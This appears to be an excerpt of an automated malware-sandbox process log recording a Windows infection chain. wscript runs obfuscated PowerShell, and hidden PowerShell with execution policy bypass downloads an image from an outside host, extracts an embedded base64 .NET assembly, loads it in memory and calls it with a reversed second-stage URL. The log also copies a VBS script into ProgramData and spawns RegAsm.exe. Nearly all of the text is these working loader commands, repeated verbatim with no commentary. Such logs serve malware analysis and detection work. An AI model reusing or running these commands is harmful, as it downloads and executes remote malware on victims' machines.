TreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links \| Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.cccer/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'ova','RegAsm',''))} }"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links \| Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.LIRPAVH/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'ova','RegAsm',''))} }"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\ova.vbs"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\ova.vbs"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links \| Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.irpawx/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'osma','RegAsm',''))} }"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\osma.vbs"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\fbshgr.vbe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\oahxgk.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links \| Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.cccer/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'ova','RegAsm',''))} }"	Jump to behavior
